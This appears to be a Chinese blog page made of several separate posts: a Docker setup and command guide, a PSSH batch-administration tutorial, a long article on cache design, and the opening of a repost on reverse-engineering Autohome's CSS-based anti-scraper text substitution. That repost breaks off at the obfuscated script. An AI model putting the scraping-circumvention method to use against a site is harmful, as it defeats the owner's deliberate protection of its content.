  • exited:上图中的 stopped 状态,表示容器之前运行过但是现在处于停止状态(要区别于 created 状态,它是指一个新创出的尚未运行过的容器)。可以通过 start 命令使其重新进入 running 状态
  • destroyed:容器被删除了,再也不存在了

Docker 的安装

RedHat/CentOS必须要6.6版本以上,或者7.x才能安装docker,建议在RedHat/CentOS 7上使用docker,因为RedHat/CentOS 7的内核升级到了kernel 3.10,对lxc容器支持更好。

查看Linux内核版本(内核版本必须是3.10或者以上):

cat /proc/version

uname -a

lsb_release -a

##无法执行命令安装
yum install -y redhat-lsb

更新YUM源:

yum update

安装:

yum  install docker -y

检查版本:

docker -v

安装完成后,使用下面的命令来启动 docker 服务,并将其设置为开机启动:

service docker start
chkconfig docker on

下载官方的 CentOS 镜像:

docker pull centos

检查CentOS 镜像是否被获取:

docker images

下载完成后,你应该会看到:

[root@iZ2ze74fkxrls31tr2ia2fZ ~]# docker images centos
REPOSITORY       TAG        IMAGE ID     CREATED         SIZE
docker.io/centos latest    3fa822599e10    3weeks ago   203.5 MB

如果看到以上输出,说明你可以使用“docker.io/centos”这个镜像了,或将其称为仓库(Repository),该镜像有一个名为“latest”的标签(Tag),此外还有一个名为“3fa822599e10 ”的镜像 ID(可能您所看到的镜像 ID 与此处的不一致,那是正常现象,因为这个数字是随机生成的)。此外,我们可以看到该镜像只有 203.5 MB,非常小巧,而不像虚拟机的镜像文件那样庞大。

启动容器:

docker run -i -t -v /root/software/:/mnt/software/ 3fa822599e10 /bin/bash

docker run -ti ubuntu:14.04 /bin/bash

命令参数说明:
docker run <相关参数> <镜像 ID> <初始命令>

  • -i:表示以“交互模式”运行容器
  • -t:表示容器启动后会进入其命令行
  • -v:表示需要将本地哪个目录挂载到容器中,格式:-v <宿主机目录>:<容器目录>

Docker命令

我们可以把Docker 的命令大概地分类如下:

镜像操作:
    build     Build an image from a Dockerfile
    commit    Create a new image from a container's changes
    images    List images
    load      Load an image from a tar archive or STDIN
    pull      Pull an image or a repository from a registry
    push      Push an image or a repository to a registry
    rmi       Remove one or more images
    search    Search the Docker Hub for images
    tag       Tag an image into a repository
    save      Save one or more images to a tar archive 
    history   显示某镜像的历史
    inspect   获取镜像的详细信息

    容器及其中应用的生命周期操作:
    create    创建一个容器
    kill      Kill one or more running containers
    inspect   Return low-level information on a container, image or task
    pause     Pause all processes within one or more containers
    ps        List containers
    rm        删除一个或者多个容器
    rename    Rename a container
    restart   Restart a container
    run       创建并启动一个容器
    start     启动一个处于停止状态的容器
    stats     显示容器实时的资源消耗信息
    stop      停止一个处于运行状态的容器
    top       Display the running processes of a container
    unpause   Unpause all processes within one or more containers
    update    Update configuration of one or more containers
    wait      Block until a container stops, then print its exit code
    attach    Attach to a running container
    exec      Run a command in a running container
    port      List port mappings or a specific mapping for the container
    logs      获取容器的日志

    容器文件系统操作:
    cp        Copy files/folders between a container and the local filesystem
    diff      Inspect changes on a container's filesystem
    export    Export a container's filesystem as a tar archive
    import    Import the contents from a tarball to create a filesystem image

    Docker registry 操作:
    login     Log in to a Docker registry.
    logout    Log out from a Docker registry.

    Volume 操作
    volume    Manage Docker volumes

    网络操作
    network   Manage Docker networks

    Swarm 相关操作
    swarm     Manage Docker Swarm
    service   Manage Docker services
    node      Manage Docker Swarm nodes

    系统操作:
    version   Show the Docker version information
    events    持续返回docker 事件
    info      显示Docker 主机系统范围内的信息
# 查看运行中的容器
docker ps

# 查看所有容器
docker ps -a

# 退出容器
按Ctrl+D 即可退出当前容器【但退出后会停止容器】

# 退出不停止容器:
组合键:Ctrl+P+Q

# 启动容器
docker start 容器名或ID

# 进入容器
docker attach 容器名或ID

# 停止容器
docker stop 容器名或ID

# 暂停容器
docker pause 容器名或ID

#继续容器
docker unpause 容器名或ID

# 删除容器
docker rm 容器名或ID

# 删除全部容器--慎用
docker stop $(docker ps -q) & docker rm $(docker ps -aq)

#保存容器,生成镜像
docker commit 容器ID 镜像名称

#从 host 拷贝文件到 container 里面
docker cp /home/soft centos:/webapp

docker run与start的区别

docker run 只在第一次运行时使用,将镜像放到容器中,以后再次启动这个容器时,只需要使用命令docker start 即可。

docker run相当于执行了两步操作:将镜像放入容器中(docker create),然后将容器启动,使之变成运行时容器(docker start)。

6

而docker start的作用是,重新启动已存在的镜像。也就是说,如果使用这个命令,我们必须事先知道这个容器的ID,或者这个容器的名字,我们可以使用docker ps找到这个容器的信息。

7

因为容器的ID是随机码,而容器的名字又是看似无意义的命名,我们可以使用命令:

docker rename jovial_cori  centos

给这个容器命名。这样以后,我们再次启动或停止容器时,就可以直接使用这个名字:

docker [stop] [start]  new_name

而要显示出所有容器,包括没有启动的,可以使用命令:

docker ps -a

Docker配置

更改存储目录:

#复制docker存储目录
rsync -aXS /var/lib/docker/. /home/docker

#更改 docker 存储文件目录
ln -s  /home/docker  /var/lib/docker

获取IP:

docker inspect <container id>

要获取所有容器名称及其IP地址只需一个命令:

docker inspect -f '{{.Name}} - {{.NetworkSettings.IPAddress }}' $(docker ps -aq)

docker inspect --format='{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)

Docker 镜像加速器

注册个帐号

https://dev.aliyun.com/search.html

阿里云会自动为用户分配一个镜像加速器的地址,登录后进入”管理中心”–>”加速器”,里面有分配给你的镜像加速器的地址以及各个环境的使用说明。

镜像加速器地址:https://xxxxx.mirror.aliyuncs.com

如何配置镜像加速器

针对Docker客户端版本大于1.10.0的用户
您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器:

{
    "registry-mirrors": ["<your accelerate address>"]
}

重启Docker Daemon:

sudo systemctl daemon-reload
sudo systemctl restart docker

后续:
1,查看镜像
docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
1fef6edc3f23 docker.io/centos "bin/bash" About a minute ago Exited (0) 8 seconds ago affectionate_khorana
66f6e4ff1098 docker.io/centos "bin/bash" About a minute ago Exited (0) About a minute ago elastic_khorana
a44b68ea8265 75835a67d134 "/bin/bash" 7 minutes ago Exited (0) 2 minutes ago angry_meitner
d0c8cbacb8ce 75835a67d134 "/bin/bash" 25 minutes ago Exited (0) 13 minutes ago mystifying_perlman
2.更新镜像
docker commit #第一列容器ID centos:update
3.保存镜像
docker save centos:update > centos.tar
4.加载镜像
docker load < centos.tar



常见命令:

1,后台启动docker并且端口映射

docker run -itd -p 3390<物理机端口>:3390<容器端口> cd3c0fd5029a /bin/bash

2,进入docker

docker attach <容器ID>

3,退出docker,不关闭container

ctrl+p ctrl+q

4.更新镜像

docker commit <容器ID> centos:update<自己定义的名字:标签>

5.保存镜像

docker save centos:update > centos.tar

6.加载镜像

docker load < centos.tar

PSSH 批量管理服务器

pssh命令是一个python编写可以在多台服务器上执行命令的工具,同时支持拷贝文件,是同类工具中很出色的,类似pdsh,个人认为相对pdsh更为简便,使用必须在各个服务器上配置好密钥认证访问。

1. 安装

安装可以使用yum或者apt-get安装,还可以使用源码安装, 由于我使用apt-get安装不好用,所以这里我只说下源码安装

wget http://parallel-ssh.googlecode.com/files/pssh-2.3.1.tar.gz 
tar xf pssh-2.3.1.tar.gz 
cd pssh-2.3.1/ 
python setup.py install

2. pssh选项说明

复制代码
--version:查看版本 
--help:查看帮助,即此信息 
-h:主机文件列表,内容格式”[user@]host[:port]” 
-H:主机字符串,内容格式”[user@]host[:port]” 
-:登录使用的用户名 
-p:并发的线程数【可选】 
-o:输出的文件目录【可选】 
-e:错误输入文件【可选】 
-t:TIMEOUT 超时时间设置,0无限制【可选】 
-O:SSH的选项 
-v:详细模式 
-A:手动输入密码模式 
-x:额外的命令行参数使用空白符号,引号,反斜线处理 
-X:额外的命令行参数,单个参数模式,同-x 
-i:每个服务器内部处理信息输出 
-P:打印出服务器返回信息
复制代码

 

3. 实例

(1) 查看版本

#pssh --version
#2.3.1

(2) 查看帮助

复制代码
#pssh --help
Usage: pssh [OPTIONS] command [...]

Options:
  --version             show program's version number and exit
  --help                show this help message and exit
  -h HOST_FILE, --hosts=HOST_FILE
                        hosts file (each line "[user@]host[:port]")
  -H HOST_STRING, --host=HOST_STRING
                        additional host entries ("[user@]host[:port]")
  -l USER, --user=USER  username (OPTIONAL)
  -p PAR, --par=PAR     max number of parallel threads (OPTIONAL)
  -o OUTDIR, --outdir=OUTDIR
                        output directory for stdout files (OPTIONAL)
  -e ERRDIR, --errdir=ERRDIR
                        output directory for stderr files (OPTIONAL)
  -t TIMEOUT, --timeout=TIMEOUT
                        timeout (secs) (0 = no timeout) per host (OPTIONAL)
  -O OPTION, --option=OPTION
                        SSH option (OPTIONAL)
  -v, --verbose         turn on warning and diagnostic messages (OPTIONAL)
  -A, --askpass         Ask for a password (OPTIONAL)
  -x ARGS, --extra-args=ARGS
                        Extra command-line arguments, with processing for
                        spaces, quotes, and backslashes
  -X ARG, --extra-arg=ARG
                        Extra command-line argument
  -i, --inline          inline aggregated output and error for each server
  --inline-stdout       inline standard output for each server
  -I, --send-input      read from standard input and send as input to ssh
  -P, --print           print output as we get it

Example: pssh -h hosts.txt -l irb2 -o /tmp/foo uptime
复制代码

(3) 使用主机文件列表执行pwd命令

复制代码
#pssh -h ip.txt -A -i pwd
Warning: do not enter your password if anyone else has superuser
privileges or access to your account.
Password: 
[1] 19:58:51 [SUCCESS] root@192.168.200.152
/root
[2] 19:58:51 [SUCCESS] root@192.168.200.154
/root
[3] 19:58:51 [SUCCESS] root@192.168.200.153
/root
[4] 19:58:52 [SUCCESS] root@192.168.200.155
/root
复制代码

说明: -h 后面的ip是要操作的机器ip列表,格式如下: root@192.168.200.152   -A 表示手动输入密码模式  -i表示要执行的命令

(4) 使用主机文件列表执行date命令

 

复制代码
#pssh -h ip.txt -A -i date
Warning: do not enter your password if anyone else has superuser
privileges or access to your account.
Password: 
[1] 20:13:36 [SUCCESS] root@192.168.200.152
2016年 07月 11日 星期一 20:10:24 CST
[2] 20:13:36 [SUCCESS] root@192.168.200.154
2016年 07月 11日 星期一 20:10:11 CST
[3] 20:13:36 [SUCCESS] root@192.168.200.153
2016年 07月 11日 星期一 20:10:56 CST
[4] 20:13:36 [SUCCESS] root@192.168.200.155
2016年 07月 11日 星期一 20:10:10 CST
复制代码

 

(5) 指定用户名

复制代码
#可以通过-l命令指定用户名
$pssh -h ip.txt -A -i -l root date
Warning: do not enter your password if anyone else has superuser
privileges or access to your account.
Password: 
[1] 20:13:36 [SUCCESS] 192.168.200.152
2016年 07月 11日 星期一 20:10:24 CST
[2] 20:13:36 [SUCCESS] 192.168.200.154
2016年 07月 11日 星期一 20:10:11 CST
[3] 20:13:36 [SUCCESS] 192.168.200.153
2016年 07月 11日 星期一 20:10:56 CST
[4] 20:13:36 [SUCCESS] 192.168.200.155
2016年 07月 11日 星期一 20:10:10 CST
复制代码

 

(6) 批量初始化服务器key

#让远程服务自动在/root/.ssh生成秘钥,方便部署证书信任
pssh -h host1.txt -l root -A "ssh-keygen -t rsa -f /root/.ssh/id_rsa -P \"\""

 

(7)批量修改机器密码

pssh -h host.txt -l root -A 'echo root:xxxxxxxx | chpasswd'

 

 

 

4. 介绍软件包内其他命令

     pscp   传输文件到多个hosts,他的特性和scp差不多
# 通过pscp对多个机器传文件,把test.sh传送到多个机器上
$ pscp.pssh -h host.txt -l root -A test.sh  

使用pscp对多个机器传文件,然后再通过pssh执行脚本,方便快捷

 

    pslurp   从多台远程机器拷贝文件
    pnuke    kill远程机器的进程

通过上面我们可以看到直接可以远程执行命令,对于机器的批量操作很方便。 大家使用的时候可以根据自己的实际需求编写相应的脚本

这里就简单写这几个例子。

 

如何优雅的设计和使用缓存?

背景

在之前的文章中你应该知道的缓存进化史介绍了爱奇艺的缓存架构和缓存的进化历史。俗话说得好,工欲善其事,必先利其器,有了好的工具肯定得知道如何用好这些工具,本篇将介绍如何利用好缓存。

1.确认是否需要缓存

在使用缓存之前,需要确认你的项目是否真的需要缓存。使用缓存会引入的一定的技术复杂度,后文也将会一一介绍这些复杂度。一般来说从两个方面来个是否需要使用缓存:

  1. CPU占用:如果你有某些应用需要消耗大量的cpu去计算,比如正则表达式,如果你使用正则表达式比较频繁,而其又占用了很多CPU的话,那你就应该使用缓存将正则表达式的结果给缓存下来。
  2. 数据库IO占用:如果你发现你的数据库连接池比较空闲,那么不应该用缓存。但是如果数据库连接池比较繁忙,甚至经常报出连接不够的报警,那么是时候应该考虑缓存了。笔者曾经有个服务,被很多其他服务调用,其他时间都还好,但是在每天早上10点的时候总是会报出数据库连接池连接不够的报警,经过排查,发现有几个服务选择了在10点做定时任务,大量的请求打过来,DB连接池不够,从而报出连接池不够的报警。这个时候有几个选择,我们可以通过扩容机器来解决,也可以通过增加数据库连接池来解决,但是没有必要增加这些成本,因为只有在10点的时候才会出现这个问题。后来引入了缓存,不仅解决了这个问题,而且还增加了读的性能。

如果并没有上述两个问题,那么你不必为了增加缓存而缓存。

2.选择合适的缓存

缓存又分进程内缓存和分布式缓存两种。很多人包括笔者在开始选缓存框架的时候都感到了困惑:网上的缓存太多了,大家都吹嘘自己很牛逼,我该怎么选择呢?

2.1 选择合适的进程缓存

首先看看几个比较常用的缓存的比较,具体原理可以参考你应该知道的缓存进化史:

比较项 ConcurrentHashMap LRUMap Ehcache Guava Cache Caffeine
读写性能 很好,分段锁 一般,全局加锁 好,需要做淘汰操作 很好
淘汰算法 LRU,一般 支持多种淘汰算法,LRU,LFU,FIFO LRU,一般 W-TinyLFU, 很好
功能丰富程度 功能比较简单 功能比较单一 功能很丰富 功能很丰富,支持刷新和虚引用等 功能和Guava Cache类似
工具大小 jdk自带类,很小 基于LinkedHashMap,较小 很大,最新版本1.4MB 是Guava工具类中的一个小部分,较小 一般,最新版本644KB
是否持久化
是否支持集群
  • 对于ConcurrentHashMap来说,比较适合缓存比较固定不变的元素,且缓存的数量较小的。虽然从上面表格中比起来有点逊色,但是其由于是jdk自带的类,在各种框架中依然有大量的使用,比如我们可以用来缓存我们反射的Method,Field等等;也可以缓存一些链接,防止其重复建立。在Caffeine中也是使用的ConcurrentHashMap来存储元素。
  • 对于LRUMap来说,如果不想引入第三方包,又想使用淘汰算法淘汰数据,可以使用这个。
  • 对于Ehcache来说,由于其jar包很大,较重量级。对于需要持久化和集群的一些功能的,可以选择Ehcache。笔者没怎么使用过这个缓存,如果要选择的话,可以选择分布式缓存来替代Ehcache。
  • 对于Guava Cache来说,Guava这个jar包在很多Java应用程序中都有大量的引入,所以很多时候其实是直接用就好了,并且其本身是轻量级的而且功能较为丰富,在不了解Caffeine的情况下可以选择Guava Cache。
  • 对于Caffeine来说,笔者是非常推荐的,其在命中率,读写性能上都比Guava Cache好很多,并且其API和Guava cache基本一致,甚至会多一点。在真实环境中使用Caffeine,取得过不错的效果。

总结一下:如果不需要淘汰算法则选择ConcurrentHashMap,如果需要淘汰算法和一些丰富的API,这里推荐选择Caffeine。

2.2 选择合适的分布式缓存

这里选取三个比较出名的分布式缓存来作为比较,MemCache(没有实战使用过),Redis(在美团又叫Squirrel),Tair(在美团又叫Cellar)。不同的分布式缓存功能特性和实现原理方面有很大的差异,因此他们所适应的场景也有所不同。

比较项 MemCache Squirrel/Redis Cellar/Tair
数据结构 只支持简单的Key-Value结构 String,Hash, List, Set, Sorted Set String,HashMap, List,Set
持久化 不支持 支持 支持
容量大小 数据纯内存,数据存储不宜过多 数据全内存,资源成本考量不宜超过100GB 可以配置全内存或内存+磁盘引擎,数据容量可无限扩充
读写性能 很高 很高(RT0.5ms左右) String类型比较高(RT1ms左右),复杂类型比较慢(RT5ms左右)
  • MemCache:这一块接触得比较少,不做过多的推荐。其吞吐量较大,但是支持的数据结构较少,并且不支持持久化。
  • Redis:支持丰富的数据结构,读写性能很高,但是数据全内存,必须要考虑资源成本,支持持久化。
  • Tair: 支持丰富的数据结构,读写性能较高,部分类型比较慢,理论上容量可以无限扩充。

总结:如果服务对延迟比较敏感,Map/Set数据也比较多的话,比较适合Redis。如果服务需要放入缓存量的数据很大,对延迟又不是特别敏感的话,那就可以选择Tair。在美团的很多应用中对Tair都有应用,在笔者的项目中使用其存放我们生成的支付token,支付码,用来替代数据库存储。大部分的情况下两者都可以选择,互为替代。

3.多级缓存

很多人一想到缓存马上脑子里面就会出现下面的图:


Redis用来存储热点数据,Redis中没有的数据则直接去数据库访问。

在之前介绍本地缓存的时候,很多人都问我,我已经有Redis了,我干嘛还需要了解Guava,Caffeine这些进程缓存呢。我基本统一回复下面两个答案:

  1. Redis如果挂了或者使用老版本的Redis,其会进行全量同步,此时Redis是不可用的,这个时候我们只能访问数据库,很容易造成雪崩。
  2. 访问Redis会有一定的网络I/O以及序列化反序列化,虽然性能很高但是其终究没有本地方法快,可以将最热的数据存放在本地,以便进一步加快访问速度。这个思路并不是我们做互联网架构独有的,在计算机系统中使用L1,L2,L3多级缓存,用来减少对内存的直接访问,从而加快访问速度。

所以如果仅仅是使用Redis,能满足我们大部分需求,但是当需要追求更高的性能以及更高的可用性的时候,那就不得不了解多级缓存。

3.1使用进程缓存

对于进程内缓存,其本来受限于内存的大小的限制,以及进程缓存更新后其他缓存无法得知,所以一般来说进程缓存适用于:

  1. 数据量不是很大,数据更新频率较低,之前我们有个查询商家名字的服务,在发送短信的时候需要调用,由于商家名字变更频率较低,并且就算是变更了没有及时变更缓存,短信里面带有老的商家名字客户也能接受。利用Caffeine作为本地缓存,size设置为1万,过期时间设置为1个小时,基本能在高峰期解决问题。
  2. 如果数据量更新频繁,也想使用进程缓存的话,那么可以将其过期时间设置为较短,或者设置其较短的自动刷新的时间。这些对于Caffeine或者Guava Cache来说都是现成的API。

3.2使用多级缓存

俗话说得好,世界上没有什么是一个缓存解决不了的事,如果有,那就两个。

一般来说我们选择一个进程缓存和一个分布式缓存来搭配做多级缓存,一般来说引入两个也足够了,如果使用三个,四个的话,技术维护成本会很高,反而有可能会得不偿失,如下图所示:


利用Caffeine做一级缓存,Redis作为二级缓存。

  1. 首先去Caffeine中查询数据,如果有直接返回。如果没有则进行第2步。
  2. 再去Redis中查询,如果查询到了返回数据并在Caffeine中填充此数据。如果没有查到则进行第3步。
  3. 最后去Mysql中查询,如果查询到了返回数据并在Redis,Caffeine中依次填充此数据。

对于Caffeine的缓存,如果有数据更新,只能删除更新数据的那台机器上的缓存,其他机器只能通过超时来过期缓存,超时设定可以有两种策略:

  • 设置成写入后多少时间后过期
  • 设置成写入后多少时间刷新

对于Redis的缓存更新,其他机器立马可见,但是也必须要设置超时时间,其时间比Caffeine的过期长。

为了解决进程内缓存的问题,设计进一步优化:


通过Redis的pub/sub,可以通知其他进程缓存对此缓存进行删除。如果Redis挂了或者订阅机制不靠谱,依靠超时设定,依然可以做兜底处理。

4.缓存更新

一般来说缓存的更新有两种情况:

  • 先删除缓存,再更新数据库。
  • 先更新数据库,再删除缓存。 这两种情况在业界,大家对其都有自己的看法。具体怎么使用还得看各自的取舍。当然肯定会有人问为什么要删除缓存呢?而不是更新缓存呢?你可以想想当有多个并发的请求更新数据,你并不能保证更新数据库的顺序和更新缓存的顺序一致,那就会出现数据库中和缓存中数据不一致的情况。所以一般来说考虑删除缓存。

4.1先删除缓存,再更新数据库

对于一个更新操作简单来说,就是先去各级缓存进行删除,然后更新数据库。这个操作有一个比较大的问题,在对缓存删除完之后,有一个读请求,这个时候由于缓存被删除所以直接会读库,读操作的数据是老的并且会被加载进入缓存当中,后续读请求全部访问的老数据。


对缓存的操作不论成功失败都不能阻塞我们对数据库的操作,那么很多时候删除缓存可以用异步的操作,但是先删除缓存不能很好的适用于这个场景。

先删除缓存也有一个好处是,如果对数据库操作失败了,那么由于先删除的缓存,最多只是造成Cache Miss。

4.2先更新数据库,再删除缓存(推荐)

如果我们使用更新数据库,再删除缓存就能避免上面的问题。但是同样的引入了新的问题,试想一下有一个数据此时是没有缓存的,所以查询请求会直接落库,更新操作在查询请求之后,但是更新操作删除数据库操作在查询完之后回填缓存之前,就会导致我们缓存中和数据库出现缓存不一致。

为什么我们这种情况有问题,很多公司包括Facebook还会选择呢?因为要触发这个条件比较苛刻。

  1. 首先需要数据不在缓存中。
  2. 其次查询操作需要在更新操作先到达数据库。
  3. 最后查询操作的回填比更新操作的删除后触发,这个条件基本很难出现,因为更新操作的本来在查询操作之后,一般来说更新操作比查询操作稍慢。但是更新操作的删除却在查询操作之后,所以这个情况比较少出现。

对比上面4.1的问题来说这种问题的概率很低,况且我们有超时机制保底所以基本能满足我们的需求。如果真的需要追求完美,可以使用二阶段提交,但是其成本和收益一般来说不成正比。

当然还有个问题是如果我们删除失败了,缓存的数据就会和数据库的数据不一致,那么我们就只能靠过期超时来进行兜底。对此我们可以进行优化,如果删除失败的话 我们不能影响主流程那么我们可以将其放入队列后续进行异步删除。

5.缓存挖坑三剑客

大家一听到缓存有哪些注意事项,肯定首先想到的是缓存穿透,缓存击穿,缓存雪崩这三个挖坑的小能手,这里简单介绍一下他们具体是什么以及应对的方法。

5.1缓存穿透

缓存穿透是指查询的数据在数据库是没有的,那么在缓存中自然也没有,所以,在缓存中查不到就会去数据库取查询,这样的请求一多,那么我们的数据库的压力自然会增大。

为了避免这个问题,可以采取下面两个手段:

  1. 约定:对于返回为NULL的依然缓存,对于抛出异常的返回不进行缓存,注意不要把抛异常的也给缓存了。采用这种手段的会增加我们缓存的维护成本,需要在插入缓存的时候删除这个空缓存,当然我们可以通过设置较短的超时时间来解决这个问题。

2. 制定一些规则过滤一些不可能存在的数据,小数据用BitMap,大数据可以用布隆过滤器,比如你的订单ID 明显是在一个范围1-1000,如果不是1-1000之内的数据那其实可以直接给过滤掉。


5.2缓存击穿

对于某些key设置了过期时间,但是其是热点数据,如果某个key失效,可能大量的请求打过来,缓存未命中,然后去数据库访问,此时数据库访问量会急剧增加。

为了避免这个问题,我们可以采取下面的两个手段:

  1. 加分布式锁:加载数据的时候可以利用分布式锁锁住这个数据的Key,在Redis中直接使用setNX操作即可,对于获取到这个锁的线程,查询数据库更新缓存,其他线程采取重试策略,这样数据库不会同时受到很多线程访问同一条数据。
  2. 异步加载:由于缓存击穿是热点数据才会出现的问题,可以对这部分热点数据采取到期自动刷新的策略,而不是到期自动淘汰。淘汰其实也是为了数据的时效性,所以采用自动刷新也可以。

5.3缓存雪崩

缓存雪崩是指缓存不可用或者大量缓存由于超时时间相同在同一时间段失效,大量请求直接访问数据库,数据库压力过大导致系统雪崩。

为了避免这个问题,我们采取下面的手段:

  1. 增加缓存系统可用性,通过监控关注缓存的健康程度,根据业务量适当的扩容缓存。
  2. 采用多级缓存,不同级别缓存设置的超时时间不同,及时某个级别缓存都过期,也有其他级别缓存兜底。
  3. 缓存的过期时间可以取个随机值,比如以前是设置10分钟的超时时间,那每个Key都可以随机8-13分钟过期,尽量让不同Key的过期时间不同。

6.缓存污染

缓存污染一般出现在我们使用本地缓存中,可以想象,在本地缓存中如果你获得了缓存,但是你接下来修改了这个数据,但是这个数据并没有更新在数据库,这样就造成了缓存污染:


上面的代码就造成了缓存污染,通过id获取Customer,但是需求需要修改Customer的名字,所以开发人员直接在取出来的对象中直接修改,这个Customer对象就会被污染,其他线程取出这个数据就是错误的数据。要想避免这个问题需要开发人员从编码上注意,并且代码必须经过严格的review,以及全方位的回归测试,才能从一定程度上解决这个问题。

7.序列化

序列化是很多人都不注意的一个问题,很多人忽略了序列化的问题,上线之后马上报出一下奇怪的错误异常,造成了不必要的损失,最后一排查都是序列化的问题。列举几个序列化常见的问题:

  1. key-value对象过于复杂导致序列化不支持:笔者之前出过一个问题,在美团的Tair内部默认是使用protostuff进行序列化,而美团使用的通讯框架是thfift,thrift的TO是自动生成的,这个TO里面很多复杂的数据结构,但是将其存放到了Tair中。查询的时候反序列化也没有报错,单测也通过,但是到qa测试的时候发现这一块功能有问题,发现有个字段是boolean类型默认是false,把它改成true之后,序列化到tair中再反序列化还是false。定位到是protostuff对于复杂结构的对象(比如数组,List
    等等)支持不是很好,会造成一定的问题。后来对这个TO进行了转换,用普通的Java对象就能进行正确的序列化反序列化。
  2. 添加了字段或者删除了字段,导致上线之后老的缓存获取的时候反序列化报错,或者出现一些数据移位。
  3. 不同的JVM的序列化不同,如果你的缓存有不同的服务都在共同使用(不提倡),那么需要注意不同JVM可能会对Class内部的Field排序不同,而影响序列化。比如下面的代码,在Jdk7和Jdk8中对象A的排列顺序不同,最终会导致反序列化结果出现问题:
//jdk 7
class A{
    int a;
    int b;
}
//jdk 8
class A{
    int b;
    int a;
}
复制代码

序列化的问题必须得到重视,解决的办法有如下几点:

  1. 测试:对于序列化需要进行全面的测试,如果有不同的服务并且他们的JVM不同那么你也需要做这一块的测试,在上面的问题中笔者的单测通过的原因是用的默认数据false,所以根本没有测试true的情况,还好QA给力,将其给测试出来了。
  2. 对于不同的序列化框架都有自己不同的原理,对于添加字段之后如果当前序列化框架不能兼容老的,那么可以换个序列化框架。 对于protostuff来说他是按照Field的顺序来进行反序列化的,对于添加字段我们需要放到末尾,也就是不能插在中间,否则会出现错误。对于删除字段来说,用@Deprecated注解进行标注弃用,如果贸然删除,除非是最后一个字段,否则肯定会出现序列化异常。
  3. 可以使用双写来避免,对于每个缓存的key值可以加上版本号,每次上线版本号都加1,比如现在线上的缓存用的是Key_1,即将要上线的是Key_2,上线之后对缓存的添加是会写新老两个不同的版本(Key_1,Key_2)的Key-Value,读取数据还是读取老版本Key_1的数据,假设之前的缓存的过期时间是半个小时,那么上线半个小时之后,之前的老缓存存量的数据都会被淘汰,此时线上老缓存和新缓存他们的数据基本是一样的,切换读操作到新缓存,然后停止双写。采用这种方法基本能平滑过渡新老Model交替,但是不好的点就是需要短暂的维护两套新老Model,下次上线的时候需要删除掉老Model,增加了维护成本。

8. GC调优

对于大量使用本地缓存的应用,由于涉及到缓存淘汰,那么GC问题必定是常事。如果出现GC较多,STW时间较长,那么必定会影响服务可用性。这一块给出下面几点建议:

  1. 经常查看GC监控,如何发现不正常,需要想办法对其进行优化。
  2. 对于CMS垃圾收集器,如果发现remark过长,如果是大量本地缓存应用的话这个过长应该很正常,因为在并发阶段很容易有很多新对象进入缓存,从而remark阶段扫描很耗时,remark又会暂停。可以开启-XX:CMSScavengeBeforeRemark,在remark阶段前进行一次YGC,从而减少remark阶段扫描gc root的开销。
  3. 可以使用G1垃圾收集器,通过-XX:MaxGCPauseMillis设置最大停顿时间,提高服务可用性。

9. 缓存的监控

很多人对于缓存的监控也比较忽略,基本上线之后如果不报错然后就默认他就生效了。但是存在这个问题,很多人由于经验不足,有可能设置了不恰当的过期时间,或者不恰当的缓存大小导致缓存命中率不高,让缓存就成为了代码中的一个装饰品。所以对于缓存各种指标的监控,也比较重要,通过其不同的指标数据,我们可以对缓存的参数进行优化,从而让缓存达到最优化:


上面的代码中用来记录get操作的,通过Cat记录了获取缓存成功,缓存不存在,缓存过期,缓存失败(获取缓存时如果抛出异常,则叫失败),通过这些指标,我们就能统计出命中率,我们调整过期时间和大小的时候就可以参考这些指标进行优化。

10. 一款好的框架

一个好的剑客没有一把好剑怎么行呢?如果要使用好缓存,一个好的框架也必不可少。在最开始使用的时候大家使用缓存都用一些util,把缓存的逻辑写在业务逻辑中:


上面的代码把缓存的逻辑耦合在业务逻辑当中,如果我们要增加成多级缓存那就需要修改我们的业务逻辑,不符合开闭原则,所以引入一个好的框架是不错的选择。

推荐大家使用JetCache这款开源框架,其实现了Java缓存规范JSR107并且支持自动刷新等高级功能。笔者参考JetCache结合Spring Cache, 监控框架Cat以及美团的熔断限流框架Rhino实现了一套自有的缓存框架,让操作缓存,打点监控,熔断降级,业务人员无需关心。上面的代码可以优化成:


对于一些监控数据也能轻松从大盘上看到:


最后

想要真正的使用好一个缓存,必须要掌握很多的知识,并不是看几个Redis原理分析,就能把Redis缓存用得炉火纯青。对于不同场景,缓存有各自不同的用法,同样的不同的缓存也有自己的调优策略,进程内缓存你需要关注的是他的淘汰算法和GC调优,以及要避免缓存污染等。分布式缓存你需要关注的是他的高可用,如果其不可用了如何进行降级,以及一些序列化的问题。一个好的框架也是必不可少的,对其如果使用得当再加上上面介绍的经验,相信能让你很好的驾驭住这头野马——缓存。

作者:公众号_咖啡拿铁
链接:https://juejin.im/post/5b849878e51d4538c77a974a
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

[转]反爬虫破解系列-汽车之家利用css样式替换文字破解方法

网站:

汽车之家:http://club.autohome.com.cn/ 以论坛为例

反爬虫措施:

在论坛发布的贴子正文中随机抽取某几个字使用span标签代替,标签内容位空,但css样式显示为所代替的文。这样不会

影响正常用户的阅读,只是在用鼠标选择的时候是选不到被替换的文字的,对爬虫则会造成采集内容不全的影响。

原理分析:

先看一下span标签的样式

截图是火狐浏览器的firebug的html面板。我们可以看到正文中每个span标签的样式都是一个文字,我们只需要找到每个

span标签的class属性于文字的对应关系即可还原正文内容,于是我找了一下css样式是在哪里定义的。找到了这样一个文

件,在firebug的css面板中可以看到所有的css文件,然后我尝试打开了一下这个url,发现结果还是帖子页面而非css文件

通过抓包也没有抓到类似这样的css文件,一番尝试无果后,我明白了,这个css文件应该是利用js生成的,于是我开始寻

找生成这样的文件的js代码,基本上就是拿各种关键词到各个js文件或者源代码中搜索,例如 ::before、content、hs_kw

等。然后发现js代码存在于网页源代码中,可以利用搜索 HS_ZY来定位到这段js代码,下面就是对js代码的分析破解了,

复制这段js代码到 http://jsbeautifier.org/ 一个js格式化工具网站。格式化之后,发现js代码是被混淆过的,这就比较蛋疼

了,幸好之前也接触过此类混淆,大概明白混淆的原理,无非就是将变量名随机替换,将完整代码拆分后用变量相加之类的,

于是在一番很麻烦的将各种变量手工替换回去之后,大概明白了js代码的主逻辑。

复制代码
(function(hZ_) {
    
